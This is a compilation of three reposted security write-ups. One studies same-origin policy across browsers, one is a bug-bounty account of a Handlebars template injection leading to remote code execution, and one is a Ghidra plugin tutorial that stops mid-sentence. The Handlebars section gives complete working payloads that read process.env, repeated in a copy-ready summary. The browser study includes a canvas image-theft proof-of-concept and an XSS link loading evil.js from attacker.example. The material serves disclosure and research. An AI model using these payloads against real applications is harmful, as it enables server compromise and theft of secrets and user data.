GET. Additionally, if non-standard headers are to be included, it must include these as a comma-separated list in the Access-Control-Request-Headers header. Servers should respond to a cross-origin request with the following headers: Access-Control-Allow-Origin: either a single allowed origin or a wildcard (*) indicating all origins; servers may change the value depending on the Origin of the request Access-Control-Allow-Credentials: indicating if the browser is allowed to send cookies with the request; if omitted, defaults to false; cannot be true if Access-Control-Allow-Origin is * Access-Control-Allow-Headers: comma-separated list of allowed headers A picture table says a thousand words: Request is simple Server allows Browsers must Origin Credentials Do preflight Give JavaScript access Yes {not as requested} No No No Yes * No Yes, if no cookies needed Yes {as requested} No Yes Yes No {not as requested} No Yes No Yes * No Yes, if no cookies needed Yes {as requested} No Yes Yes Table 1: The CORS standard Why GET should be “safe” The preflight checks by browsers and their SOP make sure that requests which may modify sensitive data, such as DELETE, PUT, PATCH and non-simple POST requests will never be sent to the server from a third-party domain, unless the server explicitly allows such a request from this particular third-party domain. You may then wonder why browsers don’t apply the same rules to GET requests. After all, some servers implement, or at least allow, sensitive data operations using GET requests. Take this hypothetical example: a Like button on a social media site (let’s call it FakeBook) which is placed under a page and links to https://fakebook.example/like?page=HTTPSEverywhere . When a user clicks on the button in order to like the page, the browser will send a GET request to that URL, and will include the user’s session cookie, so that the server knows which user has liked this page. This is a classic CSRF which the browser can’t do anything about. Bob, who is logged in to his FakeBook account, goes to windywellington.example to check the weather. windywellington.example is actually a malicious site which wants to collect likes on FakeBook and redirects Bob back to https://fakebook.example/like?page=WindyWellington. As far as the browser is concerned there is nothing wrong with that, as there are many legitimate cases which use redirection to third-party domains. And as far as fakebook.example is concerned Bob may have clicked that Like button himself. Blocking external Referer or using tokens won’t work if Like buttons are to be integrated with other sites. So what could SOP do about GET requests? Pretty much nothing. Browsers are not supposed to block redirects by default. And there are many other ways windywellington.example can trick the browser into requesting a resource from fakebook.example, not limited to: embedding https://fakebook.example/like?page=WindyWellington in an iframe 2 loading it as a script, image or any other resource using an HTML form with the GET method In none of those cases can either the browser or fakebook.example detect the malicious intent. This is why the HTTP standard clearly states that GET requests should always be “safe”, i.e. never change web application data. And this is also the reason why browsers are not required to submit a preflight check for GET requests. Unfortunately many websites neglect this and fall victim to CSRF attacks like the hypothetical Like button scenario. (note: facebook.com is not vulnerable in this way). SOP behaviour across browsers Browsers tested I tested 17 versions of Opera, 16 versions of Firefox, 40 versions of Chrome, 39 versions of Internet Explorer, and one version of Microsoft Edge. A total of 113 browsers, dating back to 2004. All browsers were tested using their default settings. Full list of browsers tested and sources used I tested one version per year as far back as it supports : Versions and versions can be downloaded from the official Opera archives. Versions pre 11.00 can be found on the third-party site . I do not take responsibility for any loss as a result of installing software from unofficial sources. I ran the versions in question on a virtual machine. I tested roughly one version per year (except version 1.5 from 2005, due to technical issues running the binary) as far back as version 1.0: All versions of Firefox can be downloaded from the . I used the ready Windows builds from Chromium's and builds archive. I did not test stable releases in particular, as the build archives do not indicate which version a build corresponds to. I instead selected one out of roughly every 2000 builds, from the oldest to the newest. The date shown below is approximate as it corresponds to the release date of the corresponding stable major version: I wrote a which can fetch a list of all builds for a platform (e.g. ) or download the portable version of a given build (e.g. ). I tested every major version of Internet Explorer as far back as it supports . IE11 on Windows 10 behaves differently to IE11 on older Windows versions, even with the latest patches applied to them. I tested three versions of IE11 on Windows 10, one on Windows 7, and all 31 versions of IE11 on Windows 8.1 (initial + ) Virtual machines for various platforms, including VMware Fusion, with IE versions 8 to 11 can be downloaded from . Virtual machines for Microsoft Hyper-V can be downloaded from . These can be imported into VirtualBox as well, and from there exported to OVF format for VMware. I tested only one recent version of Microsoft Edge: A virtual machine for various platforms, including VMware Fusion, with the above Edge version can be downloaded from . Test setup I wrote an HTTP server based on Python’s http.server, and some supporting HTML/JavaScript. The server implements a dummy login and requires a cookie issued by it for requests to any file under /secret/. The CORS headers to be included in the server’s response to each request are taken from URL parameters in that request. Supported parameters: creds: should be 0 or 1 requesting Access-Control-Allow-Credentials: true or false origin: specifies Access-Control-Allow-Origin; it is taken literally unless it is {ECHO}, then it is taken from the Origin header in the request. /demos/sop/getSecret.html will prompt for the target origin (should be different to the one it’s loaded from), then log in to it, and fetch https://<target_host>/secret/<secret file>?origin=...&creds=... requesting each one of the five CORS combinations described below; and it will do so using each the eight cross-origin request methods described below. Server CORS modes Each request was submitted 5 times: each time the server was configured to reply with one of the five Access-Control-Allow-* header combinations: Origin Credentials No * No Yes {as requested} No Yes Table 2: The combinations of CORS server response headers tested where “{as requested}” means the server specifically allowed the origin the request came from, “Yes” indicates true value of the header, “No”—false Cross-origin request methods Each browser was tested with the following 8 cross-origin request methods: Method Body Content-Type or embedded as Request is simple Require cookies? Response data taken from GET via XHR — Yes Yes responseText POST via XHR application/json No Yes responseText Sample code for XMLHttpRequest GET via iFrame3 N/A Yes No contentDocument.body.innerHTML Sample code for iframe GET via object3 text/plain Yes No contentDocument.body.innerHTML Sample code for object GET via 2D canvas N/A Yes Yes toDataURL() No Sample code for 2D canvas GET via bitmap canvas N/A Yes Yes toDataURL() No Sample code for bitmap canvas Table 3: The cross-origin request and data exfiltration methods tested Requested targets Where the request method used a canvas the “secret” file was an image. Otherwise the file was a plain text file. Each test was done twice: once to an origin with a different hostname (IP address of a different interface on the same machine), and once to an origin with the same hostname/IP address but different port number. This makes for a total of 8 × 5 × 2 = 80 tests per browser. Results Below is a summary of those browsers which send the request and/or allow JavaScript to read the response when they shouldn’t. For the full list of every request, see the current result tables for cross-origin requests to different hostnames and same hostnames/different ports. When target origin differs by hostname When the target origin had a different hostname, most browsers were either compliant, or forbid the request, which is the safe fallback if CORS is not supported. A notable exception are the currently latest versions of Chrome, Firefox and Opera, which allow JavaScript to read so-called “tainted” canvases. These are canvases rendered from an image which has not been loaded for cross-origin use, i.e. no crossorigin attribute was given. I discovered the bug (CVE-2018-18511) while doing this research and reported it to Google and Mozilla. In addition, a few very old versions of Chrome do not apply the CORS policy to XMLHttpRequests. (In this and in any following tables, the highlighted cells indicate behaviour that does not conform to the specification). Browsers Methods Server allowed Browser did Origin Credentials Preflight for POST Give JavaScript access Chrome 67.0 Chrome 69.0 Chrome 71.0 Chrome 72.0 Chrome 74.0 Firefox 65.0 Opera 56.0 GET via bitmap canvas (no CORS) No No Yes * No Yes {as requested} No Yes Yes Chrome 2.0.165.0 GET via XHR POST via XHR No No No * No Yes Yes {as requested} No Yes Yes Chrome 2.0.173.0 GET via XHR POST via XHR No Yes No * No Yes Yes {as requested} No Yes Yes Table 4: Browsers with dangerous SOP policy for origins differing by hostname When target origin differs only by port number In addition to the vulnerable browsers listed in Table 4, when the target origin differed only in port number, all versions of Internet Explorer and Edge including the latest ones, had an unsafe SOP policy. Interestingly, Edge allows exporting of tainted bitmap canvases only in this case, when the origins are on the same host. Browsers Methods Server allowed Browser did Origin Credentials Preflight for POST Give JavaScript access Internet Explorer 11 (<= Windows 8.1) Internet Explorer 10 Internet Explorer 9 Internet Explorer 8 Opera 9.00 GET via XHR POST via XHR No No Yes * No Yes {as requested} No Yes Yes Chrome 2.0.165.0 GET via XHR POST via XHR No No No * No Yes Yes {as requested} No Yes Yes Chrome 2.0.173.0 GET via XHR POST via XHR No Yes No * No Yes Yes {as requested} No Yes Yes Microsoft Edge 42 Internet Explorer 11 Internet Explorer 10 Internet Explorer 9 Internet Explorer 8 Internet Explorer 7 GET via iFrame No No Yes * No Yes {as requested} No Yes Yes Microsoft Edge 42 Internet Explorer 11 Internet Explorer 10 Internet Explorer 9 GET via object No No Yes * No Yes {as requested} No Yes Yes Chrome 67.0 Chrome 69.0 Chrome 71.0 Chrome 72.0 Chrome 74.0 Firefox 65.0 Opera 56.0 Microsoft Edge 42 Internet Explorer 11 Internet Explorer 10 Internet Explorer 9 Opera 9.60 Opera 9.20 Opera 9.00 GET via bitmap canvas (no CORS) No No Yes * No Yes {as requested} No Yes Yes Internet Explorer 11 Internet Explorer 10 Internet Explorer 9 Opera 9.60 Opera 9.20 Opera 9.00 GET via 2D canvas (CORS) No No Yes * No Yes {as requested} No Yes Yes Table 5: Browsers with dangerous SOP policy for origins differing by port number only Implications There are two main issues to discuss here. Issue 1: Exporting of tainted canvases Sometime in 2018 a bug was introduced in Chrome, Firefox as well as Opera, which allowed rendering any image to a bitmap canvas and exporting it. This is a serious issue since the browser sends the cookies it has for a domain when loading images from that domain. For example, if a user, while logged in to their account at bank.example, visits an attacker’s page, the page can steal any sensitive images the user has access to. All the attacker needs is the URL of the image. The image can be anything—from a personal photo or a scanned document, to the QR code for a two factor-authentication secret. It is an example of cross-site request forgery where it was up to the browser, and not the server, to prevent it. Google didn’t make fixing the issue a priority as it was not exploitable due to another bug in Chrome: toDataURL() and toBlob() give a generic transparent image for bitmap canvases. They did eventually fix it, and subsequently the other bug, which was giving a transparent image for a bitmap context. Mozilla fixed the bug within days and pushed an update. Days after that I discovered an alternative way (CVE-2019-9797) of getting the image: again by converting it to an ImageBitmap, but then rendering it in a 2D canvas instead of a bitmap canvas: <html><body> <script charset="utf-8"> function getData() { createImageBitmap(this, 0, 0, this.naturalWidth, this.naturalHeight).then(function(bmap) { var can = document.createElement('canvas'); // mfsa2019-04 fixed this // -------------------------- // var ctx = can.getContext('bitmaprenderer'); // ctx.transferFromImageBitmap(bmap); // -------------------------- // but not this var ctx = can.getContext('2d'); ctx.drawImage(bmap, 0, 0); document.getElementById('result').textContent = can.toDataURL(); var img = document.getElementById('result_render'); img.src = can.toDataURL(); document.body.appendChild(img); }); } </script> <img style="visibility: hidden" src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/> <br/><textarea readonly style="width:100%;height:10em" id="result"></textarea> <br/>Re-rendered image: <br/><img id="result_render"></textarea> </body></html> Mozilla were again quick to fix it. The fix made it into the stable branch on April 1st. Chrome is not vulnerable to this version of the exploit. Issue 2: IE and Edge’s same-origin policy when it comes to origins on the same host It is clear that Internet Explorer and Edge do not consider origins on the same host but different ports distinct, at least not as distinct as origins with different hostnames. This is not a new issue, or an accidental neglect by Microsoft. The Mozilla Developer Guide is quite clear on the fact that: Internet Explorer has two major exceptions to the same-origin policy: Trust Zones: If both domains are in the highly trusted zone (e.g. corporate intranet domains), then the same-origin limitations are not applied. Port: IE doesn’t include port into same-origin checks. Therefore, https://company.com:81/index.html and https://company.com/index.html are considered the same origin and no restrictions are applied. It also clearly points out that: These exceptions are nonstandard and unsupported in any other browser. The behaviour of modern Internet Explorer and Edge is striking for several reasons: The changes introduced for Windows 10 do improve the security of IE, but have been applied inconsistently and insufficiently: They are not available for older Windows versions, even though security updates are still being issued for them. They close the loophole in XMLHttpRequest, but still allow cross-origin access via iframe; data from another origin can also be stolen using object. It clearly violates the standard which has been set long ago, and which all other browsers conform to, and conform to for a good reason. I do not know the reasoning behind their same origin policy, but the implications are not negligible. We often see multiple HTTP services on the same host. Usually one is a standard public site (on ports 80 and 443), another one may be an administrative interface, not accessible publicly. Treating these as a single origin exposes every service on the host to attacks should even one of them be compromised. Consider a hypothetical example: a simple public website, which holds no sensitive data, nor implements authentication. It is likely that not a lot of attention would be paid to its secure implementation as it does not appear to be a valuable target for attackers. Let’s say a page on the site, /vulnerable.html, is vulnerable to a reflected Cross-Site Scripting (XSS) attack. An attacker can trick the developer of the site into visiting the following link http://localhost/vulnerable.html?search=<script%20src%3d"%2f%2fattacker.example%2fevil.js"><%2fscript> The vulnerable page will reflect the search parameter and in this way load a script from http://attacker.example/evil.js. The JavaScript will execute in the context of the page, localhost, as if it has been hosted on the site. Any requests made by it will come from origin http://localhost. Imagine there is a sensitive administrative panel on the same host, port 8080, which is not accessible from the public network, and does not allow cross-origin requests. If the developer who’s fallen victim to the reflected XSS is using Internet Explorer or Edge, then evil.js from attacker.example will have full access to the panel. In particular: if the developer is not logged in to the admin panel: it may attempt to brute force accounts on the administrative panel if the developer is logged in to the admin panel: it can get any data from it or take any action at the level of privilege of the developer I leave it to the reader to reach their conclusion. Mine would be “do not use IE or Edge”. Tools used My (not so) simple (anymore) HTTP server, based on Python’s simple HTTP server https://github.com/aayla-secura/mixnmatchttp/tree/master/demos/ https://pypi.org/project/mixnmatchttp/ VMware Fusion, for running all of the browsers https://www.vmware.com/products/fusion.html Official Microsoft virtual machines https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ References OWASP’s CSRF prevention cheatsheet https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet The Web Origin Concept https://tools.ietf.org/html/rfc6454 The Cross-origin resource sharing (CORS) standard https://www.w3.org/TR/cors/ The HTTP standard https://tools.ietf.org/html/rfc7231#section-4.2.1 Simple HTTP requests https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#Simple_requests If however it is a hostname, the browser doesn’t make sure it resolves to the same IP address during different requests; see DNS Rebinding attack ↩ Even if fakebook.example prevents this using X-Frame-Options, the GET request is already sent ↩ iframe and object don’t support CORS, so the browser should always refuse access, even if the server would allow a GET for this resource. ↩ ↩2 Written by Alex Nikolova (@AaylaSecura1138) Security Consultant at Aura Information Security. Sursa: https://research.aurainfosec.io/same-origin-policy/

Handlebars template injection and RCE in a Shopify app April 04, 2019 TL;DR We found a zero-day within a JavaScript template library called handlebars and used it to get Remote Code Execution in the Shopify Return Magic app. The Story: In October 2018, Shopify organized the HackerOne event "H1-514" to which some specific researchers were invited and I was one of them. Some of the Shopify apps that were in scope included an application called "Return Magic" that would automate the whole return process when a customer wants to return a product that they already purchased through a Shopify store. Looking at the application, I found that it has a feature called Email WorkFlow where shop owners can customize the email message sent to users once they return a product. Users could use variables in their template such as {{order.number}} , {{email}} ..etc. I decided to test this feature for Server Side Template injection and entered {{this}} {{self}} then sent a test email to myself and the email had [object Object] within it which immediately attracted my attention. So I spent a lot of time trying to find out what the template engine was, I searched for popular NodeJs templates and thought the template engine was mustache (wrong), I kept looking for mustache template injection online but nothing came up as Mustache is supposed to be a logicless template engine with no ability to call functions which made no sense as I was able to call some Object attributes such as {{this.__proto__}} and even call functions such as {{this.constructor.constructor}} which is the Function constructor. I kept trying to send parameters to this.constructor.constructor() but failed. I decided that this was not vulnerable and moved on to look for more bugs. Then the fate decides that this bug needs to be found and I see a message from Shopify on the event slack channel asking researchers to submit their "almost bugs" so if someone found something and feels it's exploitable, they would send the bug to Shopify security team and if the team manages to exploit it the reporter will get paid as if they found it. Immediately I sent my submission explaining what I have found and at the impact section I wrote "Could be a Server Side template injection that can be used to take over the server ¯\_(ツ)_/¯". Two months passed and I got no response from Shopify regarding my "almost bug" submission, then I was invited to another hacking event in Bali hosted by Synack. There I met the Synack Red Team and after the Synack event has ended, I was supposed to travel back to Egypt, but only 3 hours before the flight I decided to extended my stay for three more days then fly from Bali to Japan where I was supposed to participate in the TrendMicro CTF competition with my CTF team. Some of the SRT also decided to extend their stay in Bali. One of those was Matias so I contacted him to hangout together. After swimming in the ocean and enjoying the beautiful nature of Bali, we went to a restaurant for dinner where Matias told me about a bug he found in a bug bounty program that had something to do with JavaScript sandbox escape so we spent all night missing with objects and constructors, but unfortunately we couldn't escape the sandbox. I couldn't take constructors out of my head and I remembered the template injection bug I found in Shopify. I looked at the HackerOne report and thought that the template can't be mustache so I installed mustache locally and when I parsed {{this}} with mustache it actually returns nothing which is not the case with the Shopify application. I searched again for popular NodeJs template engines and I found a bunch of them, I looked for those that used curly brackets {{ }} for template expressions and downloaded them locally, one of the libraries was handlebars and when I parsed {{this}} it returned [object Object] which is the same as the Shopify app. I looked at handlebars documentation and found out that it's also supposed to not have much logic to prevent template injection attacks. But knowing that I can access the function constructor I decided to give it a try and see how I can pass parameters to functions. After reading the documentation, I found out that in handlebars developers can register functions as helpers in the template scope. We can pass parameters to helpers like this {{helper "param1" "param2" ...params}}. So the first thing I tried was {{this.constructor.constructor "console.log(process.pid)"}} but it just returned console.log(process.pid) as a string. I went to the source code to find out what was happening. At the runtime.js file, there was the following function: lambda: function(current, context) { return typeof current === 'function' ? current.call(context) : current; } So what this function does is that it checks if the current object is of type 'function' and if so it just calls it using current.call(context) where context is the template scope, otherwise, it would just return the object itself. I looked further in the documentation of handlebars and found out that it had built in helpers such as "with", "blockHelperMissing", "forEach" ...etc After reading the source code for each helper, I had an exploitation in mind using the "with" helper as it is used to shift the context for a section of a template by using the built-in with block helper. So I would be able to perform curren.call(context) on my own context. So I tried the following: {{#with "console.log(process.pid)"}} {{#this.constructor.constructor}} {{#this}} {{/this}} {{/this.constructor.constructor}} {{/with}} Basically that should pass console.log(process.pid) as the current context, then when the handlebars compiler reaches this.constructor.constructor and finds that it's a function, it should call it with the current context as the function argument. Then using {{#with this}} we call the returned function from the Function constructor and console.log(process.pid) gets executed. However, this did not work because function.call() is used to invoke a method with an owner object as an argument, so the first argument is the owner object and other arguments are the parameters sent to the function being called. So if the function was called like current.call(this, context), the previous payload would have worked. I spent two more nights in Ubud then flew to Tokyo for the TrendMicro CTF. Again in Tokyo, I couldn't take objects and constructors out of my mind and kept trying to find a way to escape the sandbox. I had another idea of using Array.map() to call Function constructor on my context, but it didn't work because the compiler always passes an extra argument to any function I call which is an object containing the template scope which causes an error as my payload is considered a function argument not the function body. {{#with 1 as |int|}} {{#blockHelperMissing int as |array|}} // This line will create an array and then we can access its constructor {{#with (array.constructor "console.log(process.pid)")}} {{this.pop}} // pop unnecessary parameter pushed by the compiler {{array.map this.constructor.constructor array}} {{/with}} {{/blockHelperMissing}} {{/with}} There seemed to be many possible ways to escape the sandbox but I had one big problem facing me which is that whenever a function is called within the template, the template compiler sends the template scope Object as the last parameter. For example, if I try to call something like constructor.constructor("test","test"), the compiler will call it like constructor.constructor("test", "test", this) and since this will be converted to a string by calling Object.toString() and the anonymous function created will be: function anonymous(test,test){ [object Object] } which will cause an error. I tried many other things but still no luck, then I decided to open the JavaScript documentation for Object prototype and look for something that could help escape the sandbox. I found out that I could overwrite the Object.prototype.toString() function using Object.prototype.defineProperty() so that it calls a function that returns a user controlled string (my payload). Since I can't define functions using the template, all I have to do is to find a function that is already defined within the template scope and returns a user controlled input. For example, the following nodejs application should be vulnerable: test.js var handlebars = require('handlebars'), fs = require('fs'); var storeName = "console.log(process.pid)" // this should be a user-controlled string function getStoreName(){ return storeName; } var scope = { getStoreName: getStoreName } fs.readFile('example.html', 'utf-8', function(error, source){ var template = handlebars.compile(source); var html = template(data); console.log(html) }); example.html {{#with this as |test|}} // with is a helper that sets whichever assigned to it as the context, we name our context test. {{#with (test.constructor.getOwnPropertyDescriptor this "getStoreName")}} // get the context resulted from the evaluated function, in this case, the descriptor of this.getStoreName where this is the template scope defined in data variable in test.js {{#with (test.constructor.defineProperty test.constructor.prototype "toString" this)}} // overwrite Object.prototype.toString with "getStoreName()" defined in test.js {{#with (test.constructor.constructor "test")}} {{/with}} // call the Function constructor. {{/with}} {{/with}} {{/with}} Now if you run this template, console.log(process.pid) gets executed. $ node test.js 1337 I reported that to Shopify and mentioned that if there was a function within the scope that returns a user controlled string, it would have been possible to get RCE. Later, when I met Ibrahim (@the_st0rm) I told him about my idea and he told me that I can use bind() to create a new function that when called will return my RCE payload. From JavaScript documentation: The bind() method creates a new function that, when called, has its this keyword set to the provided value, with a given sequence of arguments preceding any provided when the new function is called. So now the idea is to create a string with whichever code I want to execute then bind its toString() to a function using bind() after that overwrite the Object.prototype.toString() function with that function. I spent a lot of time trying to apply this using handlebars templates, and eventually during my flight back to Egypt I was able to get a fully working PoC with no need to use functions defined in the template scope. {{#with this as |obj|}} {{#with (obj.constructor.keys "1") as |arr|}} {{arr.pop}} {{arr.push obj.constructor.name.constructor.bind}} {{arr.pop}} {{arr.push "console.log(process.env)"}} {{arr.pop}} {{#blockHelperMissing obj.constructor.name.constructor.bind}} {{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}} {{#with (obj.constructor.getOwnPropertyDescriptor this 0)}} {{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}} {{#with (obj.constructor.constructor "test")}} {{/with}} {{/with}} {{/with}} {{/with}} {{/blockHelperMissing}} {{/with}} {{/with}} Basically, what the template above does is: x = '' myToString = x.constructor.bind.apply(x.constructor, [x.constructor.bind,"console.log(process.pid)"]) myToStringArr = Array(myToString) myToStringDescriptor = Object.getOwnPropertyDescriptor(myToStringArr, 0) Object.defineProperty(Object.prototype, "toString", myToStringDescriptor) Object.constructor("test", this)() And when I tried it with Shopify, I got: Matias also texted me with an exploitation that he got which is much simpler than the one I used: {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return JSON.stringify(process.env);"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} With that said, I was able to get RCE on Shopify's Return Magic application as well as some other websites that used handlebars as a template engine. The vulnerability was also submitted to npm security and handlebars pushed a fix that disables access to constructors. The advisory can be found here: https://www.npmjs.com/advisories/755 In a nutshell You can use the following to inject Handlebars templates: {{#with this as |obj|}} {{#with (obj.constructor.keys "1") as |arr|}} {{arr.pop}} {{arr.push obj.constructor.name.constructor.bind}} {{arr.pop}} {{arr.push "return JSON.stringify(process.env);"}} {{arr.pop}} {{#blockHelperMissing obj.constructor.name.constructor.bind}} {{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}} {{#with (obj.constructor.getOwnPropertyDescriptor this 0)}} {{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}} {{#with (obj.constructor.constructor "test")}} {{this}} {{/with}} {{/with}} {{/with}} {{/with}} {{/blockHelperMissing}} {{/with}} {{/with}} Matias also had his own exploitation that is much simpler: {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return JSON.stringify(process.env);"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} Sorry for the long post, if you have any questions please drop me a tweet @Zombiehelp54 Sursa: https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html

Ghidra Plugin Development for Vulnerability Research - Part-1 Overview On March 5th at the RSA security conference, the National Security Agency (NSA) released a reverse engineering tool called Ghidra. Similar to IDA Pro, Ghidra is a disassembler and decompiler with many powerful features (e.g., plugin support, graph views, cross references, syntax highlighting, etc.). Although Ghidra's plugin capabilities are powerful, there is little information published on its full capabilities. This blog post series will focus on Ghidra’s plugin development and how it can be used to help identify software vulnerabilities. In our previous post, we leveraged IDA Pro’s plugin functionality to identify sinks (potentially vulnerable functions or programming syntax). We then improved upon this technique in our follow up blog post to identify inline strcpy calls and identified a buffer overflow in Microsoft Office. In this post, we will use similar techniques with Ghidra’s plugin feature to identify sinks in CoreFTPServer v1.2 build 505. Ghidra Plugin Fundamentals Before we begin, we recommend going through the example Ghidra plugin scripts and the front page of the API documentation to understand the basics of writing a plugin. (Help -> Ghidra API Help) When a Ghidra plugin script runs, the current state of the program will be handled by the following five objects: currentProgram: the active program currentAddress: the address of the current cursor location in the tool currentLocation: the program location of the current cursor location in the tool, or null if no program location exists currentSelection: the current selection in the tool, or null if no selection exists currentHighlight: the current highlight in the tool, or null if no highlight exists It is important to note that Ghidra is written in Java, and its plugins can be written in Java or Jython. For the purposes of this post, we will be writing a plugin in Jython. There are three ways to use Ghidra’s Jython API: Using Python IDE (similar to IDA Python console): Loading a script from the script manager: Headless - Using Ghidra without a GUI: With an understanding of Ghidra plugin basics, we can now dive deeper into the source code by utilizing the script manager (Right Click on the script -> Edit with Basic Editor) The example plugin scripts are located under /path_to_ghidra/Ghidra/Features/Python/ghidra_scripts. (In the script manager, these are located under Examples/Python/? Ghidra Plugin Sink Detection In order to detect sinks, we first have to create a list of sinks that can be utilized by our plugin. For the purpose of this post, we will target the sinks that are known to produce buffer overflow vulnerabilities. These sinks can be found in various write-ups, books, and publications. Our plugin will first identify all function calls in a program and check against our list of sinks to filter out the targets. For each sink, we will identify all of their parent functions and called addresses. By the end of this process, we will have a plugin that can map the calling functions to sinks, and therefore identify sinks that could result in a buffer overflow. Locating Function Calls There are various methods to determine whether a program contains sinks. We will be focusing on the below methods, and will discuss each in detail in the following sections: Linear Search - Iterate over the text section (executable section) of the binary and check the instruction operand against our predefined list of sinks. Cross References (Xrefs) - Utilize Ghidra’s built in identification of cross references and query the cross references to sinks. Linear Search The first method of locating all function calls in a program is to do a sequential search. While this method may not be the ideal search technique, it is a great way of demonstrating some of the features in Ghidra’s API. Using the below code, we can print out all instructions in our program: listing = currentProgram.getListing() #get a Listing interface ins_list = listing.getInstructions(1) #get an Instruction iterator while ins_list.hasNext(): #go through each instruction and print it out to the console ins = ins_list.next() print (ins) Running the above script on CoreFTPServer gives us the following output: We can see that all of the x86 instructions in the program were printed out to the console. Next, we filter for sinks that are utilized in the program. It is important to check for duplicates as there could be multiple references to the identified sinks. Building upon the previous code, we now have the following: sinks = [ "strcpy", "memcpy", "gets", "memmove", "scanf", "lstrcpy", "strcpyW", #... ] duplicate = [] listing = currentProgram.getListing() ins_list = listing.getInstructions(1) while ins_list.hasNext(): ins = ins_list.next() ops = ins.getOpObjects(0) try: target_addr = ops[0] sink_func = listing.getFunctionAt(target_addr) sink_func_name = sink_func.getName() if sink_func_name in sinks and sink_func_name not in duplicate: duplicate.append(sink_func_name) print (sink_func_name,target_addr) except: pass Now that we have identified a list of sinks in our target binary, we have to locate where these functions are getting called. Since we are iterating through the executable section of the binary and checking every operand against the list of sinks, all we have to do is add a filter for the call instruction. Adding this check to the previous code gives us the following: sinks = [ "strcpy", "memcpy", "gets", "memmove", "scanf", "strcpyA", "strcpyW", "wcscpy", "_tcscpy", "_mbscpy", "StrCpy", "StrCpyA", "lstrcpyA", "lstrcpy", #... ] duplicate = [] listing = currentProgram.getListing() ins_list = listing.getInstructions(1) #iterate through each instruction while ins_list.hasNext(): ins = ins_list.next() ops = ins.getOpObjects(0) mnemonic = ins.getMnemonicString() #check to see if the instruction is a call instruction if mnemonic == "CALL": try: target_addr = ops[0] sink_func = listing.getFunctionAt(target_addr) sink_func_name = sink_func.getName() #check to see if function being called is in the sinks list if sink_func_name in sinks and sink_func_name not in duplicate: duplicate.append(sink_func_name) print (sink_func_name,target_addr) except: pass Running the above script against CoreFTPServer v1.2 build 505 shows the results for all detected sinks: Unfortunately, the above code does not detect any sinks in the CoreFTPServer binary. However, we know that this particular version of CoreFTPServer is vulnerable to a buffer overflow and contains the lstrcpyA sink. So, why did our plugin fail to detect any sinks? After researching this question, we discovered that in order to identify the functions that are calling out to an external DLL, we need to use the function manager that specifically handles the external functions. To do this, we modified our code so that every time we see a call instruction we go through all external functions in our program and check them against the list of sinks. Then, if they are found in the list, we verify whether that the operand matches the address of the sink. The following is the modified section of the script: sinks = [ "strcpy", "memcpy", "gets", "memmove", "scanf", "strcpyA", "strcpyW", "wcscpy", "_tcscpy", "_mbscpy", "StrCpy", "StrCpyA", "lstrcpyA", "lstrcpy", #... ] program_sinks = {} listing = currentProgram.getListing() ins_list = listing.getInstructions(1) ext_fm = fm.getExternalFunctions() #iterate through each of the external functions to build a dictionary #of external functions and their addresses while ext_fm.hasNext(): ext_func = ext_fm.next() target_func = ext_func.getName() #if the function is a sink then add it's address to a dictionary if target_func in sinks: loc = ext_func.getExternalLocation() sink_addr = loc.getAddress() sink_func_name = loc.getLabel() program_sinks[sink_addr] = sink_func_name #iterate through each instruction while ins_list.hasNext(): ins = ins_list.next() ops = ins.getOpObjects(0) mnemonic = ins.getMnemonicString() #check to see if the instruction is a call instruction if mnemonic == "CALL": try: #get address of operand target_addr = ops[0] #check to see if address exists in generated sink dictionary if program.sinks.get(target_addr): print (program_sinks[target_addr], target_addr,ins.getAddress()) except: pass Running the modified script against our program shows that we identified multiple sinks that could result in a buffer overflow. Xrefs The second and more efficient approach is to identify cross references to each sink and check which cross references are calling the sinks in our list. Because this approach does not search through the entire text section, it is more efficient. Using the below code, we can identify cross references to each sink: sinks = [ "strcpy", "memcpy", "gets", "memmove", "scanf", "strcpyA", "strcpyW", "wcscpy", "_tcscpy", "_mbscpy", "StrCpy", "StrCpyA", "lstrcpyA", "lstrcpy", #... ] duplicate = [] func = getFirstFunction() while func is not None: func_name = func.getName() #check if function name is in sinks list if func_name in sinks and func_name not in duplicate: duplicate.append(func_name) entry_point = func.getEntryPoint() references = getReferencesTo(entry_point) #print cross-references print(references) #set the function to the next function func = getFunctionAfter(func) Now that we have identified the cross references, we can get an instruction for each reference and add a filter for the call instruction. A final modification is added to include the use of the external function manager: sinks = [ "strcpy", "memcpy", "gets", "memmove", "scanf", "strcpyA", "strcpyW", "wcscpy", "_tcscpy", "_mbscpy", "StrCpy", "StrCpyA", "lstrcpyA", "lstrcpy", #... ] duplicate = [] fm = currentProgram.getFunctionManager() ext_fm = fm.getExternalFunctions() #iterate through each external function while ext_fm.hasNext(): ext_func = ext_fm.next() target_func = ext_func.getName() #check if the function is in our sinks list if target_func in sinks and target_func not in duplicate: duplicate.append(target_func) loc = ext_func.getExternalLocation() sink_func_addr = loc.getAddress() if sink_func_addr is None: sink_func_addr = ext_func.getEntryPoint() if sink_func_addr is not None: references = getReferencesTo(sink_func_addr) #iterate through all cross references to potential sink for ref in references: call_addr = ref.getFromAddress() ins = listing.getInstructionAt(call_addr) mnemonic = ins.getMnemonicString() #print the sink and address of the sink if #the instruction is a call instruction if mnemonic == “CALL”: print (target_func,sink_func_addr,call_addr) Running the modified script against CoreFTPServer gives us a list of sinks that could result in a buffer overflow: Mapping Calling Functions to Sinks So far, our Ghidra plugin 